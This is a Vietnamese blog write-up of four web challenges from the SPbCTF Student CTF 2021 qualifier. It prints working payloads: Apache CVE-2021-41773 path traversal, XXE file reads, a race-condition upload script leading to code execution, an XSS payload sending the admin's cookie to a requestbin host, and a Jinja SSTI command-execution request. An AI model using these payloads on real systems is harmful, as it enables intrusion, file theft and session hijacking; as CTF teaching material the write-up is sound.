---
layout: post
title: "[WRITEUP SPbCTF 2021]: WEB"
categories: CTF
toc: true
tags: CTF
---
Dưới đây là một số challenge mình giải quyết được trong SPbCTF's Student CTF 2021 Quals.
Tất cả source code mình sẽ để ở đây nhé [SOURCE](https://github.com/DauHoangTai/WriteupCTF/tree/master/2021/sbctf)
## Challenge BLT
Ở challenge này thì chúng ta được cung cấp `Dockerfile` và `docker-compose`.
Ở docker-compose thì thấy được server chạy apache, trong Dockerfile thì có đoạn
```
<Directory \"/\">\n \
Require all granted\n \
</Directory>\n \
</VirtualHost>" > /usr/local/apache2/conf/apache.conf
```
Khá giống với CVE của apache 2.4.49 gần đây. Dùng burp để bắt lại request và thấy header `server` trả về đúng là Apache/2.4.49

Vậy nên bây giờ thử payload của CVE-2021-41773 thôi.
```
/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd
```

Kết quả Path Traversal và đọc được file /etc/passwd => bây giờ chỉ cần đọc flag thôi.
### Payload
```
/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd -> read /etc/passwd
/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/flag.txt -> read /flag.txt
```
### Flag
`spbctf{th3_lat3st_d03s_n0t_m3an_s3cur3}`
## Challenge 31 Line PHP
Bài nay được cung cấp code php như sau và các luồng hoạt động cơ bản của code mình comment ở code bên dưới luôn nhé.
```php
<?php
session_start();
if (!isset($_POST["data"])) { //kiểm tra có tham số data
highlight_file(__FILE__);
die();
}
if (!isset($_SESSION["id"])) { // không có sess id thì sẽ tạo 1 chuỗi md5 với random 16 byte
$_SESSION["id"] = md5(random_bytes(16));
}
$id = $_SESSION["id"];
echo "Welcome, $id\r\n"; // in ra sess id được tạo ở trên
if (!file_exists("/var/www/html/upload/" . $id)) { // check folder
mkdir("/var/www/html/upload/" . $id, 0755, true);
}
$name = $_FILES["data"]["name"]; //gán name của file mình upload lên vô biến $name
move_uploaded_file($_FILES["data"]["tmp_name"],"/var/www/html/upload/$id/$name"); //move file up lên -> /var/www/html/upload/$id/$name
if (PHP_VERSION_ID < 80000) {
// This function has been deprecated in PHP 8.0 because in libxml 2.9.0, external entity loading is
// disabled by default, so this function is no longer needed to protect against XXE attacks.
$loader = libxml_disable_entity_loader(true);
}
$xmlfile = file_get_contents("/var/www/html/upload/$id/$name"); // Read content của file up lên.
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT); //Load xml
$creds = simplexml_import_dom($dom);
$user = $creds->user;
$pass = $creds->pass;
echo "You have logged in as user $user";
unlink("/var/www/html/upload/$id/$name"); // xóa file up lên sau khi end chương trình
?>
```
- Chú ý ở cuối chương trinh sau khi chạy chương trình chạy xong thì sẽ unlink cái file của mình load vào (xóa file).
- Đầu tiên mình tham số cho POST `data` và upload 1 file xml lên.
- Tạo một file `html` để upload file
```
<form action="http://62.84.114.238/" method="post" enctype="multipart/form-data">
<input type="file" id="data" name="data">
<input type="submit">
</form>
```

Sau khi dung burp bắt lại là thêm parameter `data` thì được request như trên hình.
- Bây giờ cân thay `abc` bằng content của file xml để nó có thể in ra `You have logged in as user ...`
Request cho ai cần:
```xml
POST / HTTP/1.1
Host: 62.84.114.238
Content-Length: 458
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6KCDZD95hvtjgRwl
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=6c1df1166b66365e482a4841d920172e
Accept-Language: en-US,en;q=0.9
Connection: close
------WebKitFormBoundary6KCDZD95hvtjgRwl
Content-Disposition: form-data; name="data"; filename="file_load.txt"
Content-Type: text/plain
<!--?xml version="1.0" ?-->
<creds>
<user>taidh</user>
<pass>taidh1</pass>
</creds>
------WebKitFormBoundary6KCDZD95hvtjgRwl
Content-Disposition: form-data; name="data";
Content-Type: text/plain
taidh
------WebKitFormBoundary6KCDZD95hvtjgRwl--
```
Content file mình truyền vào.
```xml
<!--?xml version="1.0" ?-->
<creds>
<user>taidh</user>
<pass>taidh1</pass>
</creds>
```
Kết quả trả về.

- Tiếp tục thử xxe injection vào chỗ `user`
Payload xxe injection
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<creds>
<user>&file;</user>
<pass>taidh1</pass>
</creds>
```
Kết quả là nhận được content của file /etc/passwd nhưng chúng ta không biết flag ở đâu và để có thể đọc được.

- Thì tới đây chúng ta cần RCE để biết được flag ở đâu và đọc được nó. Có một chỗ quan trọng trong code mà chúng ta lợi dụng để có thể RCE là `unlink`, lúc chương trình `unlink` sẽ mất 1 khoảng thời gian, và chúng ta sẽ lợi dụng nó race condition, upload 1 file php lên và file đó sẽ vẫn còn tồn lại và từ đó có thể chạy được file php.
- Truy cập vào `upload/id/my_file.php` để đọc chạy file php.
### Payload
- Code race `race.py`. Mọi người nhớ thay session và id nhé.
```py
import requests
import string
import sys
import threading
r = requests.session()
url = "http://62.84.114.238/"
cookie={ "PHPSESSID":"6c1df1166b66365e482a4841d920172e"} # thay session
def upload():
files = {"data": open("check.php", "rb")}
res = r.post(url, files=files,data={"data":"taidh"},cookies=cookie)
print(res.text)
def excute_php():
a = r.get(url+"upload/cf8828cf95abdb5e046d30e4f6006588/check.php") #thay id
print(a.text)
if __name__ == "__main__":
for i in range(1,500):
t = threading.Thread(target = upload)
t1 = threading.Thread(target = excute_php)
t.start()
t1.start()
```
- File `check.php`
```php
<?php
file_put_contents("/var/www/html/upload/cf8828cf95abdb5e046d30e4f6006588/check_info.php", "<?php phpinfo(); ?>") // thay id cùng với ở trên code race
?>
```
- Chạy code tầm vài 3 lần thì access vô `http://62.84.114.238/upload/cf8828cf95abdb5e046d30e4f6006588/check_info.php` thì thấy được trang `phpinfo()`.
- Chú ý ở `disable_function` trong trang phpinfo thì thấy được các function có thể RCE đã bị disable

Tới đây thì đọc lại description của bài `On the last step, you’ll need a recently published 0day.` => mình đã nhớ đến 1 0day gần đầy có thể bypass disable function và từ đó có thể RCE.
Link [Bypass disable function](https://github.com/mm0r1/exploits/tree/master/php-filter-bypass).
File `shell.php` (mình để trong github, ở trên cùng của bài viết nhé) mình chỉ thay chỗ `pwn('/./readflag > /tmp/taidh');` (đây là cách mình đọc flag luôn). Để show thì các bạn thay bằng `pwn('ls > /tmp/taidh');` nhé.
- Cuối cùng chỉ cần sửa trên code race file `check.php` thành `shell.php`.
Read flag bằng cách ở trong file xml sửa thành `file:///tmp/taidh`.
Flag -> `spbctf{XX3_2_rCe_w3Ll_D0n3}`

## Challenge RozHook
Đầu tiên đăng kí 1 account và login vào. Ở `/pro` thì hiện so sánh giữa account pro và account free.

Cụ thể ở đây account của chúng ta đang là free, nhưng không thể `BUY PRO NOW`. Ghi nhớ những chức năng có thể sử dụng khi lên account pro nhé. Xíu nữa sẽ cần đến nó.
Service có một số endpoint:
- `/profile` -> tạo webhook
- `/change_password` -> change password
- `/report` -> send url và bot sẽ request tới.
Ở `/change_password` chỉ là change password nên không có gì exploit, mình chỉ quan tâm đến `/profile` và `/report`.
- `/report` thì thấy được send 1 url bất kì và bot sẽ request vào và hiện thông báo `Your idea/report successfully sended to admins. Thank you!` => có thể bài này là xss.
- `/profile` -> khi tạo 1 webhook thì trong đó sẽ có delete, change template và select. Ở đây mình chỉ quan tâm đến change template và select. Hiện tại thì chỉ có thể chọn được 1 trong 5 template. Chú ý thì cả 5 template sử dụng {{}} vì vậy có thể ssti ở đây nếu như chúng ta có thể thay đổi được content của template.
Đến đây thì nhớ về lúc đầu ở `/pro` khi account pro thì có thể tạo template và số webhook được tạo không giới hạn.
IDEA: `xss` (lấy cookie của admin để lên pro) -> `SSTI` (tạo template mới) -> RCE và lấy flag.
- Đầu tiên là cần đi tìm chỗ có thể trigger được xss. Chú ý ở chỗ change template thì thấy ở template 3 và 5 đều có tham số `url` mình có thể control
- `url` được truyền vô src của thẻ `img` => có thể escape để xss
- Nhưng ở template 3 thì có dấu `"` nên chúng ta cần escape `"` để có thể thêm `onerror=alert(1)`. Đời không như là mơ thì chương trình đã sử dụng htmlencode => không thể escape dấu "`"
- Payload mình sử dụng cho template 3 -> `?url=a" onerror="alert(1)` => kết quả 
- Nhìn kĩ thì ở template 5 cũng truyền `url` nhưng ở thẻ `img` không có `"` => không cần escape dấu `"` => không bị ảnh hưởng bởi htmlencode 
- Payload cho template 5 `?url=a onerror=alert(1)` => kết quả

Vậy bây giờ chỉ cần lấy cookie của bot trả về là sẽ lên account pro, nhưng đến đoạn gửi url cho bot thì lại bị một số vẫn đề:
- url của mình gửi cho bot không được dài quá 128 char.
- Payload mình gửi ở `/report` ->
```
https://rozhook.xyz/h/5a2e760c42c8c7bfcc2be2dd56ba038004ce66da?url=a onerror=document.location="http://requestbin.net/r/gx9eqwnc?cc="%2bdocument.cookie
```
- Chương trình thông báo: 
- Ở đây mình sẽ bypass chỗ này bằng cách `redirect`.
- File `index.php` mình host:
```php
<?php
header('Location: https://rozhook.xyz/h/5a2e760c42c8c7bfcc2be2dd56ba038004ce66da?url=a onerror=document.location="https://requestbin.net/r/gx9eqwnc?cc="%2bdocument.cookie');
```
- Chạy `php -S 0.0.0.0:1234` trên server
- Send `http://ip:1234/index.php` cho Url ở `/report`

- Thay cookie mà bot gửi về cho chúng ta => acccount đã lên pro
Nhưng sau khi lên pro thì mình cũng không thể click vào `Create Template`. Stuck ở đây khá lâu và đi check các file JS thì thấy được có 1 api được giấu ở file `https://rozhook.xyz/static/js/main.js` 
Truy cập api trên và tạo template mới có thể rce (SSTI):
- Payload tạo template mới 
- Qua bên webhook của mình thì thấy đã có thêm 1 template được add vô 
- Tuy cập nó và có flag
### Summary Payload
Get cookie để lên tài khoản pro
```php
<?php
header('Location: https://rozhook.xyz/h/5a2e760c42c8c7bfcc2be2dd56ba038004ce66da?url=a onerror=document.location="https://requestbin.net/r/gx9eqwnc?cc="%2bdocument.cookie');
```
Add template to SSTI (get flag)
```
POST /api/v0.5/template/add HTTP/1.1
Host: rozhook.xyz
...
Cookie: session=.eJwlj8FqBDEMQ_8l5x4cZ2LH-zPBsZ12KDuFmd3DUvrvDexNEjwh_aY-z7i-0u1xPuMj9d3TLVUly2yOJGZcWislMxMV9Dli5mgZstdZpLYWqJOhVozYRIxBNVvDIls1X_wQ0jkxNmNd_CRYWoqMSoSDsZEFcs1RHUopGiBpDXlecb7X4LJ2nbM_fr7jWAGIAiEGGsKkVQotu0Bj0bFaYniTzW0sbr_6XQ_9DO_j1dXv-_G--vcP8m5Jdg.YXaJAw.1lFvTwPP-GYjngYnN5o6H2IjVzY
Content-Type: application/json
Content-Length: 93
{"data": "{{config.__class__.__init__.__globals__['os'].popen('cat /etc/flag.txt').read()}}"}
```
Flag -> `spbctf{m@yb3_i_sh0uld_m@k3_an0ther_s3rvic3}`
## Free Cloud
Ở bài này mình chỉ brute ở `location` vì khi hoàn tất các bước và send lên thì nhận được thông báo `There are no free servers in this location` => thử brute hoặc thay bằng location khác.
### Payload

Flag -> `spbctf{b3_c4r3fu1_w17h_grpc_3num5}`